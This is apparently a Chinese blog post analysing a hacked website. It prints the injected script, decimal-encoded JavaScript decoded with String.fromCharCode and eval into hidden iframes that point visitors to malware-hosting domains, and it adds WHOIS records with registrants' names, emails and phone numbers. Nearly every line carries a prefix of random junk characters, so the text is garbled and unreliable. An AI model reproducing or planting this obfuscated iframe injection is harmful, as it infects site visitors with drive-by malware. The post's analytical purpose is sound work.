首发在我的博客里面，
/L=(^k=a.; tOdT[& http://www.areway.cn/?p=175 p
QE)p
v@
C,RP9 i^Ut015q% 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
5rxA<G s =ZYThfAEw <script>t=’60,105,102,114,97,109,101,
> O9 sk 32,115,114,99,61,104,116,116,112,58,47,47,
Tt# bg1 102,114,101,101,46,117,45,117,117,117,46,99,
iAO5"(>}? 110,47,101,114,114,111,114,46,104,116,109,
Xg<[fwW 32,119,105,100,116,104,61,49,48,48,32,104,
XH 4d<?qu 101,105,103,104,116,61,48,62,60,47,105,102,
"u^Ele E! 114,97,109,101,62′;
|!z2oO t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
T8 J4C=?/ TvhJVVQ+? <script>t=’60,105,102,114,97,109,101,32,115,
Q% ad q-B 114,99,61,104,116,116,112,58,47,47,102,114,
8Cf|*C+_' 101,101,46,117,45,117,117,117,46,99,110,47,
F}?<v8#z0 101,114,114,111,114,46,104,116,109,32,119,
t={0( 105,100,116,104,61,49,48,48,32,104,101,105,
}U 5Y=R Yo 103,104,116,61,48,62,60,47,105,102,114,97,
c- ]fKj7 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
vn').\,P2O document.write(t);</script>
GY!C|7kN s'I)A^i+ <html xmlns=”
t =wXTK5" http://www.w3.org/1999/xhtml c=p=-j=.J “>
s&PM,BFf <head>
7 _jE[10 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
{eZ{] <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
:J_oj:0r"f <title>首页 - 爱生活家庭网
{ShgJ ;! Q eQN .sl5 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
nS.G~c| 转换字符串后的大概内容是（谁点击后果自付）：
9(1rh9`= <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_2Zp1h, sa-9$},z4 查询玉米u-uuu.cn的详细信息：
ETw]!
br Domain Name: u-uuu.cn
HOW7cV'X ROID: 20070901s10001s64972306-cn
>9K//co"of Domain Status: ok
6 vs 3O
Registrant Organization: 王雷
}p3b#fAr Registrant Name: 王雷
eD#XDK Administrative Email:
czlovexs@126.com $ @1u+w Sponsoring Registrar: 北京万网志成科技有限公司
_9If/ RD Name Server:ns.yovole.com
]KK`5Dv|,e Name Server:ns1.yovole.com
6qp5Xt+ Registration Date: 2007-09-01 17:54
yyl#{Nl@t Expiration Date: 2008-09-01 17:54
F@W*\3) 最后PING了一下地址 都没有什么….
,Qc.;4s- 1 =GI&f2I 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
e<+<lj " <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
H
o y7RC& <script language=”javascript” src=”
[~%`N*G http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script [/9(NUf >
P'[<A Z 这个玉米应该有可能是木马作者的：
[1Dm<G
u@ foafau.info的详细信息：
a|qsQ'1,; Access to INFO WHOIS information is provided to assist persons in
) iE"Tl determining the contents of a domain name registration record in the
<4X?EYaTq Afilias registry database. The data in this record is provided by
!C&%T] Afilias Limited for informational purposes only, and Afilias does not
'C V^M(o'9 guarantee its accuracy. This service is intended only for query-based
7>.OVh< access. You agree that you will use this data only for lawful purposes
J\`^:tcG and that, under no circumstances will you use this data to: (a) allow,
I0w% 8bs enable, or otherwise support the transmission by e-mail, telephone, or
|r =DBd3 facsimile of mass unsolicited, commercial advertising or solicitations
8I#D`yVKc to entities other than the data recipient’s own existing customers; or
&a #GXf (b) enable high volume, automated, electronic processes that send
AlX3Wv } queries or data to the systems of Registry Operator, a Registrar, or
L]-w;ll- Afilias except as reasonably necessary to register domain names or
TipHV;|e modify existing registrations. All rights reserved. Afilias reserves
3)E(Ry QA3 the right to modify these terms at any time. By submitting this query,
zJ l_ t0 you agree to abide by this policy.
o0Gx%99' Domain ID:D22418703-LRMS
x-Z ^Q C Domain Name:FOAFAU.INFO
oXal Created On:20-Nov-2007 16:05:42 UTC
9M2f!kJP$ Last Updated On:20-Nov-2007 16:05:44 UTC
qu{mqkfN> Expiration Date:20-Nov-2008 16:05:42 UTC
3 N%{B Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
$$gtZ{ukQ Status:CLIENT DELETE PROHIBITED
Mtp%co )f Status:CLIENT RENEW PROHIBITED
I'_v{k5ZI Status:CLIENT TRANSFER PROHIBITED
#x)}29%e# Status:CLIENT UPDATE PROHIBITED
.h8M Status:TRANSFER PROHIBITED
d6b.z P Registrant ID:GODA-040110615
/~hbOs/
L Registrant Name:liu hong
/bcY6b= : Registrant Organization:
g [L Registrant Street1:beijing
h}6_ybm Z Registrant Street2:
@PXXt # Registrant Street3:
j%xBo: Registrant City:beijing
P;GprJ`l Registrant State/Province:
|5ONFd e"0 Registrant Postal Code:100000
$
I<|-]u Registrant Country:CN
%V_eJC""? Registrant Phone:+86.860108888777
>d%VDjk . Registrant Phone Ext.:
BjZ>hhs!* Registrant FAX:
*8-p7,D Registrant FAX Ext.:
qZsnd7o{l. Registrant Email:bbbshiji@163.com
q$ >_WF#|| Admin ID:GODA-240110615
=] KIkS 3 Admin Name:liu hong
w2Kq(^? Admin Organization:
<!!nI%NC Admin Street1:beijing
<7RfBR.9 Admin Street2:
iS0 5YW Admin Street3:
s`vSt*
]K Admin City:beijing
C'<'7g4 Admin State/Province:
t aV|YP$ Admin Postal Code:100000
gz\j(' ~-D Admin Country:CN
2Iz fP;V? Admin Phone:+86.860108888777
FV8\ +ep Admin Phone Ext.:
T{Hf P Admin FAX:
jkCHi @ Admin FAX Ext.:
ua:9`+Dff Admin Email:bbbshiji@163.com
dqz 1xQ1 Billing ID:GODA-340110615
yk#rd~2Z0 Billing Name:liu hong
}K;iJ~kD1 Billing Organization:
% &1$~m0 Billing Street1:beijing
.b~OMTHuvM Billing Street2:
hXnw..0" Billing Street3:
k(9s+0qe Billing City:beijing
kPedX Billing State/Province:
`axQd%:AC Billing Postal Code:100000
`&,_xUA Billing Country:CN
1:5P%$? b Billing Phone:+86.860108888777
+7^w9G Billing Phone Ext.:
' tSnH&c Billing FAX:
8E -Ip>{> Billing FAX Ext.:
.S(^roM;+ Billing Email:bbbshiji@163.com
-s33m]a; Tech ID:GODA-140110615
V^WQ6G1 Tech Name:liu hong
m&ZJqsZIL Tech Organization:
CQ jV!d0j Tech Street1:beijing
^T+<!k Tech Street2:
K)N)IZ1q Tech Street3:
8z0 Hx Tech City:beijing
C?(y2p`d\ Tech State/Province:
d4V 2[TX Tech Postal Code:100000
IY~
{)X Tech Country:CN
ec#_olG% Tech Phone:+86.860108888777
A` =]RJ Tech Phone Ext.:
Cl{{H]QngX Tech FAX:
^X$
I= ro Tech FAX Ext.:
4t*<+ H% Tech Email:bbbshiji@163.com
35}P 0+ Name Server:NS27.DOMAINCONTROL.COM
|<'10 Name Server:NS28.DOMAINCONTROL.COM
^Jn|*?+l Name Server:
)v} ;C< Name Server:
ud.poh~| Name Server:
#'#4hJ*YC Name Server:
EJv! tyJ\[ Name Server:
Fr<Pe&d n Name Server:
"3v7 gtGG Name Server:
I? A~zigO Name Server:
[;Vi~$p|Eo Name Server:
l(.7t' Name Server:
]}5`7 Name Server:
= SA
4\/ Yo>%s4_ , 接着下载每个文件里面的代码：
7%W!k zp> 一步一步看..
rffVfw 
7jhl0 
LZbRQ"!!o 
T..-)kL+p 
< JG Yr 4V 
b$ IY2W<Ln 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
